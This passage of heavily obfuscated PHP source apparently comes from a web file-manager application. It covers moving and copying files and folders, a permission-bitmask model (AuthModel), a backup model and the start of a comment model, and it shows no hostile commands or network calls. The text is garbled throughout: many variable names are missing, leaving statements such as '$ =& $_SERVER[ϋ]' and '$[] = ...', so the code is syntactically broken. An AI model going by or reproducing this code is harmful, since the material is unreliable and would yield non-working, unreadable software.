($˓ == 0) { return $; } $˽ = $this->sourceInfo($); foreach ($ʵ as $ܾ) { $骑 = $this->_makeItemData($ܾ, $˽, $ܾ[$ǘ[32]]); $骑[$ǘ[569]] = $ܾ[$ǘ[569]]; $[] = $骑; } $this->chunkEventSet($ǘ[623], array($ǘ[624], $ǃ, $˓)); $this->addAll($, array(), !1); $ㅻ = $this->where(array($ǘ[183] => $))->select(); $ = $this->_childrenMakeRelation($ʵ, $ㅻ); $[$ћ㕠] = $; $ջ = array(); $ = array(); foreach ($ㅻ as $ܾ) { $Ո = $ܾ[$ǘ[184]]; $ϧ = $this->_childrenMatch($, $ܾ, $˽); $ջ[] = array($ǘ[184], $Ո, $ǘ[183], $ϧ[$ǘ[183]]); $[] = array($ǘ[184], $Ո, $ǘ[569], $ϧ[$ǘ[569]]); $this->_copyApplyMeta($ܾ, $); if ($ܾ[$ǘ[469]] != $ǘ[91]) { $[$ǘ[613]][] = $ܾ[$ǘ[525]]; } } $this->chunkEventSet($ǘ[625], array($ǘ[626], $ǃ, $˓)); $this->saveAll($ջ); $this->chunkEventSet($ǘ[627], array($ǘ[628], $ǃ, $˓)); $this->saveAll($); return $; } private function _childrenMakeRelation($ڶ, $۟) { $ =& $_SERVER[ϋ]; $Ȯ = array(); $ = array(); foreach ($ڶ as $) { $ٕ = $[$[32]] . $[8] . $[$[569]]; $Ȯ[$ٕ] = $[$[184]]; } foreach ($۟ as $) { $ٕ = $[$[32]] . $[8] . $[$[569]]; $Ź = $Ȯ[$ٕ]; $[$Ź] = $[$[184]]; } return $; } private function _childrenMatch($򀒯, $΅, $О) { $ =& $_SERVER[ϋ]; $ǀ╆ = $О[$[569]]; $ = $this->parentLevelArray($΅[$[569]]); foreach ($ as $) { if (isset($򀒯[$])) { $ǀ╆ .= $򀒯[$] . $[629]; } } $ǀ╆ = rtrim($ǀ╆, $[50]) . $[50]; $؟̗ = $this->parentLevelArray($ǀ╆); $ = $؟̗[count($؟̗) - 1]; return array($[183] => $, $[569] => $ǀ╆); } private function _makeItemData($⹷, $, $) { $ =& $_SERVER[ϋ]; $܉ = array($[630] => $⹷[$[469]], $[478] => $, $[631] => $⹷[$[470]] ? $⹷[$[470]] : $[12], $[526] => $⹷[$[525]] ? $⹷[$[525]] : 0, $[601] => $⹷[$[79]] ? $⹷[$[79]] : 0, $[632] => intval($[$[181]]), $[633] => intval($[$[554]]), $[634] => intval(USER_ID), $[635] => intval(USER_ID), $[461] => intval($[$[184]]), $[636] => $[$[569]] . $[$[184]] . $[50], $[482] => $⹷[$[88]] ? $⹷[$[88]] : time(), $[488] => 0, $[637] => $[12]); return $܉; } private function _copyApplyMeta($Ӻ, &$ّ) { $򘮋 =& $_SERVER[ϋ]; $ = $Ӻ[$򘮋[184]]; $њ = $Ӻ[$򘮋[32]]; if (!isset($Ӻ[$򘮋[638]]) || !$Ӻ[$򘮋[638]] || $Ӻ[$򘮋[638]] == $򘮋[219]) { $ّ[$򘮋[615]][] = array($򘮋[184], $, $򘮋[638], short_id($)); } if (Input::check($њ, $򘮋[639])) { $ّ[$򘮋[614]][] = array($򘮋[184] => $, $򘮋[97] => $򘮋[522], $򘮋[434] => str_replace($򘮋[53], $򘮋[12], Pinyin::get($њ))); $ّ[$򘮋[614]][] = array($򘮋[184] => $, $򘮋[97] => $򘮋[521], $򘮋[434] => Pinyin::get($њ, $򘮋[640])); } $ّ[$򘮋[614]][] = array($򘮋[184] => $, $򘮋[97] => $򘮋[501], $򘮋[434] => KodSort::makeStr($њ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($ϲ) { $ϛ =& $_SERVER[ϋ]; $ = $this->sourceInfo($ϲ); $ = $ϛ[641]; $Ƣ = array($ϛ[569] => array($ϛ[596], $[$ϛ[569]] . $ϲ . $ϛ[597]), $ϛ[489] => $this->targetIsDelete); $㎨ = $this->field($)->where($Ƣ)->select(); if (!$㎨) { return; } $㎨ = array_to_keyvalue($㎨, $ϛ[184]); foreach ($㎨ as $) { $ = $[$ϛ[183]]; $ϲ = $[$ϛ[184]]; if (!isset($this->_childrenListCache[$ϲ]) && $[$ϛ[469]] == $ϛ[91]) { $this->_childrenListCache[$ϲ] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$ϲ] = $; $this->_childrenItemCache[$ϲ] = $; } } private function _childrenListAll($, &$έ) { $೾ =& $_SERVER[ϋ]; if (!isset($this->_childrenListCache[$])) { return; } $Ӆԝ = $this->_childrenListCache[$]; foreach ($Ӆԝ as $ᦩ => $) { $έ[$ᦩ] = $; if ($[$೾[469]] == $೾[91]) { $this->_childrenListAll($ᦩ, $έ); } } } private function sourceInfoCache($˧) { if (isset($this->_childrenItemCache[$˧])) { return $this->_childrenItemCache[$˧]; } return $this->sourceInfo($˧); } private function _childrenList($ʛԒ) { if (isset($this->_childrenListCache[$ʛԒ])) { return $this->_childrenListCache[$ʛԒ]; } return $this->_childrenListSelect($ʛԒ); } private function _childrenListSelect($ۑ) { $¶ =& $_SERVER[ϋ]; $ = array($¶[183] => $ۑ, $¶[489] => $this->targetIsDelete); $ħ = $this->where($)->select(); $ħ = $ħ ? $ħ : array(); $ = array_to_keyvalue($ħ, $¶[184]); $this->_childrenListCache[$ۑ] = $; foreach ($ as $ۑ => $) { $this->_childrenItemCache[$ۑ] = $; } return $; } private function fileNameExistAuto($, $һܛ) { $ȃ =& $_SERVER[ϋ]; if ($һܛ[$ȃ[489]] == $ȃ[91]) { return $this->fileNameExist($, $һܛ[$ȃ[32]]); } return $this->fileNameExistCache($, $һܛ[$ȃ[32]]); } private function fileNameExistCache($Ӣ, $۽) { $ =& $_SERVER[ϋ]; $۽ = strtolower($۽); $঄ = $this->_childrenList($Ӣ); foreach ($঄ as $ґ) { if ($۽ == strtolower($ґ[$[32]])) { return $ґ[$[184]]; } } return !1; } private function fileNameAutoCache($, $, $, $) { $깐 =& $_SERVER[ϋ]; $Ւ뙽 = $this->_childrenList($); $דً = array_to_keyvalue($Ւ뙽, $깐[12], $깐[32]); return $this->fileNameAutoGet($דً, $, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $, $ = REPEAT_REPLACE, $ = '') { $‘ۤ =& $_SERVER[ϋ]; $ͮ = $this->sourceInfo($); $ʚ = $this->sourceInfo($); if ($ͮ[$‘ۤ[183]] == $ʚ[$‘ۤ[184]]) { if ($ͮ[$‘ۤ[489]] == $‘ۤ[91]) { Model($‘ۤ[487])->restore(array($)); } if (!$ || $ == $ͮ[$‘ۤ[32]]) { return $; } } $ϛ = $this->pathInfoMore($); if ($this->isParentOf($, $)) { return !1; } if (!$ͮ || !$ʚ || $ʚ[$‘ۤ[469]] != $‘ۤ[91]) { return !1; } Hook::trigger($‘ۤ[642], $ϛ); $this->targetIsDelete = intval($ͮ[$‘ۤ[489]]); if ($ͮ[$‘ۤ[183]] == $ && $ != $ͮ[$‘ۤ[32]]) { $֠՝ = $this->fileNameExist($, $); if ($֠՝ && $ͮ[$‘ۤ[469]] == $‘ۤ[219]) { $ = $this->sourceInfo($֠՝); $ = $this->fileHistory($, $ͮ[$‘ۤ[525]], $ͮ[$‘ۤ[79]]); if (!$) { Model($‘ۤ[528])->remove($ͮ[$‘ۤ[525]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($‘ۤ[643], $ϛ); return $֠՝; } } $ڱ = $ ? $ : $ͮ[$‘ۤ[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $ڱ); $ = array($‘ۤ[613] => array(), $‘ۤ[644] => !1); $this->clearShare($, $); $٩ζ = $this->fileNameExistAuto($, $ͮ); $ꩫ = $this->_move($, $, $, $, $); $this->sourceCacheClear(); if ($ͮ[$‘ۤ[469]] == $‘ۤ[91] && $٩ζ) { $this->folderSizeResetChildren($ꩫ); } Model($‘ۤ[221])->linkAdd($[$‘ۤ[613]]); if ($٩ζ && $[$‘ۤ[644]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($, $ڱ); $this->folderSizeReset($ͮ[$‘ۤ[183]]); $this->folderSizeReset($); $÷ = array($ͮ[$‘ۤ[183]], $); if ($ͮ[$‘ۤ[469]] == $‘ۤ[91]) { $÷[] = $; } $this->updateModifyTime($÷); Model($‘ۤ[617])->eventMove($, $ͮ[$‘ۤ[183]], $); Hook::trigger($‘ۤ[643], $ϛ); return $ꩫ; } private function _move($, $Խ, $, &$, $ًД = '') { $݈̤ =& $_SERVER[ϋ]; $͐ = $this->sourceInfo($); $ٯ = $͐[$݈̤[469]] == $݈̤[91]; $ = $ًД ? $ًД : $͐[$݈̤[32]]; $ = $this->fileNameExistAuto($Խ, $͐); $this->lockMoveStart($); $this->lockWriteStart($Խ, $); if (!$) { return $this->_moveForce($, $Խ, $); } $ = $; $Ѻ𗆌 = !1; if ($ٯ) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($Խ, $, $, $ٯ); $ = $this->_moveForce($, $Խ, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ļ = $this->_childrenListSelect($); foreach ($ļ as $) { $this->_move($[$݈̤[184]], $, $, $); } $Ѻ𗆌 = !0; } } else { if ($ == REPEAT_SKIP) { $Ѻ𗆌 = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($Խ, $, $, $ٯ); $ = $this->_moveForce($, $Խ, $); } else { if ($ == REPEAT_REPLACE) { $Ȥ = $this->sourceInfoCache($); $Ѳⵗ = $this->fileHistory($Ȥ, $͐[$݈̤[525]], $͐[$݈̤[79]]); $Ѻ𗆌 = !0; if ($Ѳⵗ) { $[$݈̤[613]][] = $͐[$݈̤[525]]; } } } } } if ($Ѻ𗆌 && !$[$݈̤[644]]) { $[$݈̤[644]] = !0; } return $; } private function _moveForce($, $, $) { $ =& $_SERVER[ϋ]; $˄ = $this->sourceInfo($); $ = $this->sourceInfo($); $ɱ = $˄[$[469]] == $[91]; $Ɔ = array($[461] => $[$[184]], $[636] => $[$[569]] . $[$[184]] . $[50], $[632] => $[$[181]], $[633] => $[$[554]], $[635] => USER_ID, $[478] => $); $ݎ = $˄[$[181]] == SourceModel::TYPE_GROUP && $[$[181]] == SourceModel::TYPE_GROUP && $˄[$[554]] == $[$[554]]; if (!$ݎ && $this->moveClearAuth) { Model($[552])->authClear($); } $԰ = $˄[$[489]] == $[91] && $[$[489]] != $[91]; if ($԰) { $Ɔ[$[488]] = 0; } if ($ɱ) { $ = array($[636] => array($[596], $˄[$[569]] . $˄[$[184]] . $[597])); $ = $˄[$[569]] . $˄[$[184]] . $[50]; $ׅ = $[$[569]] . $[$[184]] . $[50] . $˄[$[184]] . $[50]; $ = array($[636] => array($[645], "\x72\x65\160\154\x61\x63\145\50\x70\141\x72\x65\x6e\164\114\x65\x76\x65\x6c\x2c\47{$}\x27\x2c\47{$ׅ}\x27\x29"), $[632] => $[$[181]], $[633] => $[$[554]]); if ($԰) { $[$[488]] = 0; } $this->where($)->data($)->save(); } $this->where(array($[475] => $))->data($Ɔ)->save(); return $; } private function clearShare($׳ʱ, $̩˚) { $ѹ =& $_SERVER[ϋ]; $ = $this->sourceInfo($׳ʱ); $ = $this->sourceInfo($̩˚); if ($[$ѹ[554]] == $[$ѹ[554]] && $[$ѹ[181]] == $ѹ[646]) { return; } $ϥ = array($ѹ[569] => array($ѹ[596], $[$ѹ[569]] . $׳ʱ . $ѹ[597])); $ͼ = $this->field($ѹ[475])->where($ϥ)->getField($ѹ[184], !0); if (!$ͼ) { return; } $ϥ = array($ѹ[184] => array($ѹ[7], $ͼ), $ѹ[647] => 1); $ = Model($ѹ[648])->field($ѹ[649])->where($ϥ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $ѹ[12], $ѹ[649]); $ϥ = array($ѹ[649] => array($ѹ[7], $)); Model($ѹ[648])->where($ϥ)->save(array($ѹ[647] => 0)); Model($ѹ[650])->where($ϥ)->delete(); } public function copyFolderFromIO($, $ي, $ޗɀŝ, $Ӹ, $͏, $ = false) { $Շ =& $_SERVER[ϋ]; $ = array($Շ[614] => array(), $Շ[615] => array(), $Շ[613] => array(), $Շ[651] => array()); $ʗ˫ = $ ? $ : $->pathThis($ي); $Äڬ = $this->fileNameExist($ޗɀŝ, $ʗ˫); $ǜ܁ = $this->mkdir($ޗɀŝ, $ʗ˫, $Ӹ); if (!$Äڬ || $Ӹ == REPEAT_RENAME_FOLDER) { $Ӹ = !1; } if ($Äڬ) { $this->_childrenAllMake($Äڬ); } Hook::trigger($Շ[652]); $this->_copyChildTo($, $ي, $ǜ܁, $Ӹ, $, $͏); Hook::trigger($Շ[653]); if ($ǜ܁) { $this->folderSizeResetChildren($ǜ܁); } $this->_childrenListClear(); Model($Շ[616])->addAll($[$Շ[614]], array(), !0); Model($Շ[617])->eventCopy($ǜ܁); $this->saveAll($[$Շ[615]]); Model($Շ[528])->linkAdd($[$Շ[613]]); Model($Շ[528])->remove($[$Շ[651]]); $this->folderSizeReset($ޗɀŝ); $this->updateModifyTime($ޗɀŝ); return $ǜ܁; } private function _copyChildTo($, $ܓ, $˸, $, &$¦ʊ, $һϹ) { $ =& $_SERVER[ϋ]; $ = $this->sourceInfoCache($˸); $ = $->listPath($ܓ); $ = $ ? $ : array($[86] => array(), $[85] => array()); $ض = array_merge($[$[86]], $[$[85]]); $ɵͣ = $this->_addFiles($, $[$[86]], $һϹ); $̽ = array(); foreach ($ض as &$ћ) { if (isset($ɵͣ[$ћ[$[32]]])) { $ћ = $ɵͣ[$ћ[$[32]]]; } $ћ[$[469]] = $ћ[$[33]] == $[78]; $ћ[$[470]] = substr(_get($ћ, $[178], $[12]), 0, 10); $ћ[$[79]] = _get($ћ, $[79], 0); $ћ[$[525]] = _get($ћ, $[525], 0); if (!isset($ћ[$[654]]) && $ћ[$[525]]) { $¦ʊ[$[651]][] = $ћ[$[525]]; } if ($) { $ޅ = $this->fileNameExistCache($˸, $ћ[$[32]]); if ($ޅ) { if ($ћ[$[469]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($ޅ); $۪ = $this->fileHistory($, $ћ[$[525]], $ћ[$[79]]); if ($۪) { $¦ʊ[$[613]][] = $ћ[$[525]]; } continue; } else { if ($ == REPEAT_RENAME) { $ћ[$[32]] = $this->fileNameAutoCache($˸, $ћ[$[32]], $, !1); } } } } if (!$ћ[$[469]] && $ћ[$[525]] == 0) { continue; } if (!$ћ[$[469]] && $ћ[$[525]]) { $¦ʊ[$[613]][] = $ћ[$[525]]; } $̽[] = $this->_makeItemData($ћ, $, $ћ[$[32]]); } unset($ћ); if (!empty($̽)) { $this->addAll($̽); $this->_childrenListSelect($˸); } $𒟬ݜ = $this->_childrenList($˸); $𒟬ݜ = array_to_keyvalue($𒟬ݜ, $[32]); foreach ($ض as $ћ) { $ = $𒟬ݜ[$ћ[$[32]]]; $쁃ޗ = $[$[184]]; $this->_copyApplyMeta($, $¦ʊ); if ($ћ[$[33]] == $[78]) { $ћ[$[87]] = $->getPathInner($ћ[$[87]]); $this->_copyChildTo($, $ћ[$[87]], $쁃ޗ, $, $¦ʊ, $һϹ); } } } private function _addFiles($Ҽ̺, $ҹ, $Ϋ) { $Ӟ =& $_SERVER[ϋ]; if (!$ҹ || count($ҹ) == 0) { return array(); } $ҋ = array(); foreach ($ҹ as &$ő) { Hook::trigger($Ӟ[655], $ő); $ő[$Ӟ[87]] = $Ҽ̺->getPathInner($ő[$Ӟ[87]]); $憑 = $Ҽ̺->hashSimple($ő[$Ӟ[87]]); $˫ = $Ҽ̺->hashMd5($ő[$Ӟ[87]]); if (strlen($˫) > 10 && !isset($ҋ[$˫])) { $ҋ[$˫] = array(); } $ő[$Ӟ[656]] = $憑; $ő[$Ӟ[531]] = $˫; $ҋ[$˫][] =& $ő; if (count($ҋ[$˫]) > 1) { $ő[$Ӟ[654]] = !0; } Hook::trigger($Ӟ[657], $ő); } unset($ő); $ = array($Ӟ[531] => array($Ӟ[7], array_keys($ҋ))); $ = Model($Ӟ[658]); $¡ = $->where($)->select(); $¡ = $¡ ? $¡ : array(); foreach ($¡ as $ޫ) { if (!isset($ҋ[$ޫ[$Ӟ[531]]])) { continue; } $ = $ҋ[$ޫ[$Ӟ[531]]]; foreach ($ as &$ő) { $ő[$Ӟ[525]] = $ޫ[$Ӟ[525]]; $ő[$Ӟ[654]] = !0; } unset($ő); } $ = array(); foreach ($ҹ as $) { Hook::trigger($Ӟ[659], $); if (isset($[$Ӟ[654]]) && $[$Ӟ[654]]) { Hook::trigger($Ӟ[660], $); continue; } $Ħ = $Ҽ̺->getPathInner($[$Ӟ[87]]); $Ѿ = $->addFileMake($Ħ, $[$Ӟ[79]], $[$Ӟ[656]], $[$Ӟ[531]], $[$Ӟ[32]], $Ϋ); Hook::trigger($Ӟ[660], $); if (!is_array($Ѿ)) { continue; } $[] = $Ѿ; } $->addAll($); $ = array($Ӟ[531] => array($Ӟ[7], array_keys($ҋ))); $¡ = $->where($)->select(); $¡ = $¡ ? $¡ : array(); foreach ($¡ as $ޫ) { if (!isset($ҋ[$ޫ[$Ӟ[531]]])) { continue; } $ᤲ =& $ҋ[$ޫ[$Ӟ[531]]]; foreach ($ᤲ as &$ő) { $ő[$Ӟ[525]] = $ޫ[$Ӟ[525]]; } unset($ő); } $ڣ = array(); foreach ($ҹ as $ӎ) { $ڣ[$ӎ[$Ӟ[32]]] = $ӎ; } return $ڣ; } } goto C׏Ɉ; Fأ: class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[ϋ]; $ = array(array($[478] => LNG($[1953]), $[1954] => $[1955], $[1956] => 1, $[1957] => 1, $[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[478] => LNG($[1959]), $[1954] => $[1960], $[1956] => 2, $[1957] => 1, $[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[478] => LNG($[1961]), $[1954] => $[1962], $[1956] => 3, $[1957] => 1, $[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[478] => LNG($[1963]), $[1954] => $[1964], $[1956] => 4, $[1957] => 1, $[1958] => self::AUTH_SHOW | self::AUTH_VIEW), array($[478] => LNG($[1965]), $[1954] => $[1966], $[1956] => 5, $[1957] => 1, $[1958] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[478] => LNG($[1967]), $[1954] => $[1968], $[1956] => 6, $[1957] => 1, $[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[478] => LNG($[1969]), $[1954] => $[1970], $[1956] => 7, $[1957] => 1, $[1958] => 0)); return $; } public static function authCheck($؎, $֙읜) { $ރ =& $_SERVER[ϋ]; $؎ = intval($؎); if (KodUser::isRoot() && $GLOBALS[$ރ[6]][$ރ[1971]]) { return !0; } if ($؎ <= 0) { return !1; } if (($؎ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($؎ & $֙읜); } public static function authCheckShow($籘) { return self::authCheck($籘, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($ݰ) { return self::authCheck($ݰ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($̤) { return self::authCheck($̤, self::AUTH_UPLOAD); } public static function authCheckEdit($β) { return self::authCheck($β, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($੥) { return self::authCheck($੥, self::AUTH_SHARE); } public static function authCheckComment($چ) { return self::authCheck($چ, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($Ϧ) { return self::authCheck($Ϧ, self::AUTH_ROOT); } public static function authCheckAction($Ȯ, $皛) { $Ӥ =& $_SERVER[ϋ]; $꒙ = array($Ӥ[1972] => self::AUTH_VIEW, $Ӥ[1247] => self::AUTH_DOWNLOAD, $Ӥ[110] => self::AUTH_UPLOAD, $Ӥ[1922] => self::AUTH_EDIT, $Ӥ[1921] => self::AUTH_REMOVE, $Ӥ[1932] => self::AUTH_SHARE, $Ӥ[405] => self::AUTH_COMMENT, $Ӥ[1742] => self::AUTH_EVENT, $Ӥ[1973] => self::AUTH_ROOT); if (!isset($꒙[$皛])) { return; } $ƍ = $꒙[$皛]; $Ȯ = intval($Ȯ); if ($Ȯ <= 0) { return !1; } if (($Ȯ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Ȯ & $ƍ); } public static function authDisable($, $˱ѧ) { if (intval($) <= 0) { return 0; } return intval($) & ~$˱ѧ; } public $optionType = "\x53\171\163\x74\145\x6d\56\x73\157\x75\x72\143\x65\x41\x75\164\x68\x4c\x69\x73\164"; public $field = array("\156\x61\155\145", "\x61\x75\x74\x68", "\x6c\x61\142\145\154", "\x64\151\163\x70\x6c\x61\171", "\163\x79\x73\164\x65\155", "\163\157\162\164"); public function initData() { $к = $this->authDefault(); foreach ($к as $Ѫ) { $this->add($Ѫ); } } public function findAuth($, $) { $퉁 =& $_SERVER[ϋ]; $Δ = parent::listData(); foreach ($Δ as $) { $ׁ = intval($[$퉁[471]]); if ($ׁ <= 0 || $[$퉁[1974]] == 0) { continue; } if (($ׁ & $) != $) { continue; } if (($ׁ & $) != 0) { continue; } return $[$퉁[459]]; } return !1; } public function findAuthReadOnly() { $τ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $⋄ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($τ, $⋄); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[ϋ]; $Ѻ = parent::listData(); $ = !1; foreach ($Ѻ as $Ԅ) { if ($Ԅ[$[471]] <= 0 || $Ԅ[$[1974]] == $[219]) { continue; } if (!$) { $ = $Ԅ; continue; } if ($[$[471]] > $Ԅ[$[471]]) { $ = $Ԅ; } } return $ ? $[$[459]] : $[12]; } public function listData($ = false, $Ӻ = "\163\157\162\x74", $ = false) { return parent::listData($, $Ӻ, $); } public function update($, $ث) { $ǔ =& $_SERVER[ϋ]; $֒ = parent::listData($); $ɠ = $this->findByName($ث[$ǔ[32]]); if (!$֒ || $ɠ && $ɠ[$ǔ[459]] != $֒[$ǔ[459]]) { return !1; } $this->filterAuth($ث[$ǔ[471]]); return parent::update($, $ث); } public function remove($ڥ) { $ = parent::listData($ڥ); if (!$ || $[$_SERVER[ϋ][182]]) { return !1; } return parent::remove($ڥ); } public function add($ = array()) { $ޏ =& $_SERVER[ϋ]; if ($this->findByName($[$ޏ[32]])) { return !1; } $ = array($ޏ[32] => $ޏ[12], $ޏ[471] => 1, $ޏ[1975] => $ޏ[1962], $ޏ[1974] => 1, $ޏ[182] => 0, $ޏ[1976] => 0); $ = array_merge($, $); $[$ޏ[1976]] = $this->getSort(); $this->filterAuth($[$ޏ[471]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[ϋ]; $΂® = parent::listData(); $ŏ = array_to_keyvalue($΂®, $[12], $[1976]); return empty($ŏ) ? 0 : max($ŏ) + 1; } private function filterAuth(&$) { if (!$) { return; } $Ƙ֕ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($Ƙ֕ as $ˤ) { if ($ & $ˤ) { $[] = $ˤ; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($Ƙ֕); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $ˤ) { if (isset($[$ˤ])) { $ = array_merge($, $[$ˤ]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($؀, $ӏ) { return parent::update($؀, $ӏ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\x6d\56\x62\x61\x63\x6b\165\160\114\151\163\164"; public $field = array("\151\x6f", "\156\141\x6d\x65", "\163\164\x61\164\x75\163", "\x63\157\156\x74\145\156\x74", "\155\141\x6e\165\141\x6c", "\x72\x65\163\x75\x6c\164", "\x74\x69\x6d\x65\x46\162\157\155", "\164\x69\x6d\x65\x54\157"); public function config() { $Ҷ =& $_SERVER[ϋ]; $ = Model($Ҷ[822])->get($Ҷ[834]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$Ҷ[806]])) { $[$Ҷ[806]] = $Ҷ[91]; } unset($[$Ҷ[1724]]); Action($Ҷ[1977])->taskInit(); Model($Ҷ[1723])->cacheClear(); $ = $Ҷ[1978]; $Ћ = Model($Ҷ[1979])->findByKey($Ҷ[1742], $); if (!$Ћ) { $Ћ = array(); } if (isset($Ћ[$Ҷ[197]])) { $Ћ[$Ҷ[197]] = json_decode($Ћ[$Ҷ[197]], !0); } if (isset($[$Ҷ[197]])) { $Ћ[$Ҷ[197]][$Ҷ[1727]] = $[$Ҷ[197]]; unset($[$Ҷ[197]]); } return array_merge($Ћ, $); } public function listData($ = false, $ʐ = "\x6d\x6f\x64\x69\x66\x79\124\151\155\145", $ = false) { return parent::listData($, $ʐ, !0); } public function lastItem() { $ݻҀ = $this->listData(); return !empty($ݻҀ[0]) ? $ݻҀ[0] : null; } public function kill($Ӆ) { $ԧ =& $_SERVER[ϋ]; $ = $this->listData($Ӆ); if (!$ || empty($[$ԧ[32]])) { return !0; } Task::kill($ԧ[833]); Task::kill($ԧ[851]); Task::kill($ԧ[860]); $ն = $[$ԧ[32]]; $Ϟ = TEMP_FILES . $ԧ[830] . $ն . $ԧ[8]; IO::remove($Ϟ, !1); return $this->remove($Ӆ); } public function remove($򦾇) { $׌ = $this->listData($򦾇); if (!$׌) { return !0; } return $this->backupRemove($׌); } private function backupRemove($Ф) { parent::remove($Ф[$_SERVER[ϋ][459]]); $҈ = $this->backupPath($Ф); IO::remove($҈, !1); return !0; } private function backupPath($) { $ =& $_SERVER[ϋ]; $ = $[$[32]]; $̪ = Model($[822])->get($[823]); $ = substr(md5($[824] . $̪ . $), 0, 8); return "\173\x69\157\72{$[$[803]]}\x7d\x2f\144\141\164\x61\x62\141\x73\145\57\142\x61\143\x6b\x75\160\x2f" . $ . $[11] . $; } public function start() { $Άɿ =& $_SERVER[ϋ]; if ($GLOBALS[$Άɿ[6]][$Άɿ[92]][$Άɿ[1980]] != $Άɿ[91]) { return !0; } $ = $this->config(); if (!$ || $[$Άɿ[1724]] != $Άɿ[91]) { return !1; } $ = $this->process(); foreach ($ as $耥) { if ($耥) { return Task::restart($耥[$Άɿ[459]]); } } $ = new Backup(); $४ՠ = $->db(); if ($४ՠ) { $४ՠ = $->dbFile(); if ($४ՠ && $[$Άɿ[806]] == $Άɿ[219]) { $४ՠ = $->file(); } } Backup::set(array($Άɿ[802] => 1, $Άɿ[813] => time())); return !0; } public function process() { $ݩ =& $_SERVER[ϋ]; $ё = array($ݩ[809] => Task::get($ݩ[833]), $ݩ[814] => Task::get($ݩ[851]), $ݩ[221] => Task::get($ݩ[860])); $ = !1; foreach ($ё as &$Ɛ) { if ($) { $Ɛ = !1; continue; } if ($Ɛ) { $ϋ = intval(_get($Ɛ, $ݩ[1759], 0)); if (time() - $ϋ > 7200) { Task::kill($Ɛ[$ݩ[459]]); $ = !0; $Ɛ = !1; } } } return $ё; } public function restore() { $ٟ =& $_SERVER[ϋ]; ActionCall($ٟ[1109], !0, 1); ActionCall($ٟ[1109], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\x6f\x6d\x6d\x65\156\164"; protected $tableMeta = array("\164\x61\x62\154\145\x4e\141\155\145" => "\143\x6f\x6d\x6d\x65\156\x74\137\155\145\164\141", "\155\145\164\x61\106\151\x65\154\x64" => "\143\x6f\x6d\155\x65\156\164\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, 